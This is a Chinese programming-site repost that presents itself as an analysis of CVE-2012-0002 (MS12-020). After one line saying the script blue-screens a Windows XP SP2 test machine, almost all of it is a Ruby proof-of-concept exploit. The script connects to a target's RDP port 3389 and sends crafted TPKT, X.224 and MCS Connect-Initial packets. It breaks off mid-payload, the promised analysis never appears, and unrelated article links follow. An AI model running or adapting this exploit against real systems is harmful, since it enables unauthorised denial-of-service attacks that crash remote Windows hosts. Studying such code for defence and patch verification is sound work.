【漏洞分析】CVE2012-0002漏洞分析过程详述

2023-10-17 07:40

本文主要是介绍【漏洞分析】CVE2012-0002漏洞分析过程详述,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

1、漏洞触发

发送攻击脚本后机器蓝屏效果如下:

测试环境:win xp professional sp2

 

 2、ruby脚本源码及分析

#!/usr/bin/env ruby

# ms12-020 PoC

# NOTE: 本测试脚本基于中国民间流传的ChineseShit而写,并且修正了数据包不符合协议的问题

# Author: Joshua J. Drake(jduck)

# From: BlackBap.Org

# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步

 

require 'socket'

 

def send_tpkt(sd, data)

 sd.write(make_tpkt(data))

end

 

def make_tpkt(data)

  [

   3,  # version

   0,  # reserved

    4+ data.length

 ].pack('CCn') + data

end

 

def make_x224(data)

  [data.length ].pack('C') + data

end

 

def make_rdp(type, flags, data)

  [type, flags, 4 + data.length ].pack('CCv') + data

end

 

 

host = ARGV.shift

 

sd = TCPSocket.new(host, 3389)

pkts1 = [""]

 

# craft connection request

rdp = make_rdp(1, 0, [ 0 ].pack('V'))

x224_1 = make_x224([

 0xe0,  # Connection request

 0,     # ??

 0,     # SRC-REF

 0      # Class : Class 0

].pack('CnnC') + rdp)

 

pkts1 << make_tpkt(x224_1)

 

 

# craft connect-initial

x224_2 = make_x224([

 0xf0,  # Data / Class 0

 0x80   # EOT: True / NR: 0

].pack('CC'))

 

# mcsCi

target_params = ""+

 #"\x02\x01\x00"+     #maxChannelIds

 "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds

 "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds

 "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

min_params = ""+

 "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds      

 "\x02\x04\x00\x00\x00\x01"+ # maxUserIds         

 "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds        

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities      

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput      

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight          

 "\x02\x02\x04\x20"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

max_params = ""+

 "\x02\x02\xff\xff"+         # maxChannelIds          

 "\x02\x02\xfc\x17"+         # maxUserIds             

 "\x02\x02\xff\xff"+         # maxTokenIds            

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities          

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput          

  "\x02\x04\x00\x00\x00\x01"+  # maxHeight              

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

 

userdata = ""+

  #gccCCrq

 "\x00\x05\x00\x14"+

 "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+

  #clientCoreData

 "\x01\xc0"+"\xd8\x00"+  # header (type, len)

   "\x04\x00"+"\x08\x00"+ # version

   "\x80\x02"+ # desktop width

   "\xe0\x01"+ # desktop height

   "\x01\xca"+ # color depth

   "\x03\xaa"+ # SASSequence

   "\x09\x04\x00\x00" + # keyboard layout

   "\xce\x0e\x00\x00" + # client build number

    #client name

   "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x04\x00\x00\x00"+ # keyboard type

   "\x00\x00\x00\x00"+ # kbd subType

   "\x0c\x00\x00\x00"+ # kbd FuncKey

    #imeFileName

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x01\xca"+ # postBeta2ColorDepth

   "\x01\x00"+ # clientProductId

   "\x00\x00\x00\x00" + # serialNumber

   "\x10\x00"+ # highColorDepth

   "\x07\x00"+ # supportedColorDepths

   "\x01\x00"+ # earlyCapabilityFlags

    #clientDigProductId -poc has: "00000-000-0000000-00000"

   "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00"+ # connectionType

    "\x00"+ # pad1octet

   "\x00\x00\x00\x00"+ # serverSelectedProtocol

   "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth

   "\x0d\x00\x00\x00"+ # desktopPhysicalHeight

   "\x00\x00\x00\x00"+ # reserved

  #clientSecurityData

 "\x02\xc0"+"\x0c\x00"+ # header (type, len)

这篇关于【漏洞分析】CVE2012-0002漏洞分析过程详述的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/223937

相关文章

将Mybatis升级为Mybatis-Plus的详细过程

《将Mybatis升级为Mybatis-Plus的详细过程》本文详细介绍了在若依管理系统(v3.8.8)中将MyBatis升级为MyBatis-Plus的过程,旨在提升开发效率,通过本文,开发者可实现... 目录说明流程增加依赖修改配置文件注释掉MyBATisConfig里面的Bean代码生成使用IDEA生

Go标准库常见错误分析和解决办法

《Go标准库常见错误分析和解决办法》Go语言的标准库为开发者提供了丰富且高效的工具,涵盖了从网络编程到文件操作等各个方面,然而,标准库虽好,使用不当却可能适得其反,正所谓工欲善其事,必先利其器,本文将... 目录1. 使用了错误的time.Duration2. time.After导致的内存泄漏3. jsO

C# WinForms存储过程操作数据库的实例讲解

《C#WinForms存储过程操作数据库的实例讲解》:本文主要介绍C#WinForms存储过程操作数据库的实例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、存储过程基础二、C# 调用流程1. 数据库连接配置2. 执行存储过程(增删改)3. 查询数据三、事务处

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

java中使用POI生成Excel并导出过程

《java中使用POI生成Excel并导出过程》:本文主要介绍java中使用POI生成Excel并导出过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录需求说明及实现方式需求完成通用代码版本1版本2结果展示type参数为atype参数为b总结注:本文章中代码均为

Spring事务中@Transactional注解不生效的原因分析与解决

《Spring事务中@Transactional注解不生效的原因分析与解决》在Spring框架中,@Transactional注解是管理数据库事务的核心方式,本文将深入分析事务自调用的底层原理,解释为... 目录1. 引言2. 事务自调用问题重现2.1 示例代码2.2 问题现象3. 为什么事务自调用会失效3

找不到Anaconda prompt终端的原因分析及解决方案

《找不到Anacondaprompt终端的原因分析及解决方案》因为anaconda还没有初始化,在安装anaconda的过程中,有一行是否要添加anaconda到菜单目录中,由于没有勾选,导致没有菜... 目录问题原因问http://www.chinasem.cn题解决安装了 Anaconda 却找不到 An

Spring定时任务只执行一次的原因分析与解决方案

《Spring定时任务只执行一次的原因分析与解决方案》在使用Spring的@Scheduled定时任务时,你是否遇到过任务只执行一次,后续不再触发的情况?这种情况可能由多种原因导致,如未启用调度、线程... 目录1. 问题背景2. Spring定时任务的基本用法3. 为什么定时任务只执行一次?3.1 未启用

SpringCloud之LoadBalancer负载均衡服务调用过程

《SpringCloud之LoadBalancer负载均衡服务调用过程》:本文主要介绍SpringCloud之LoadBalancer负载均衡服务调用过程,具有很好的参考价值,希望对大家有所帮助,... 目录前言一、LoadBalancer是什么?二、使用步骤1、启动consul2、客户端加入依赖3、以服务

C++ 各种map特点对比分析

《C++各种map特点对比分析》文章比较了C++中不同类型的map(如std::map,std::unordered_map,std::multimap,std::unordered_multima... 目录特点比较C++ 示例代码 ​​​​​​代码解释特点比较1. std::map底层实现:基于红黑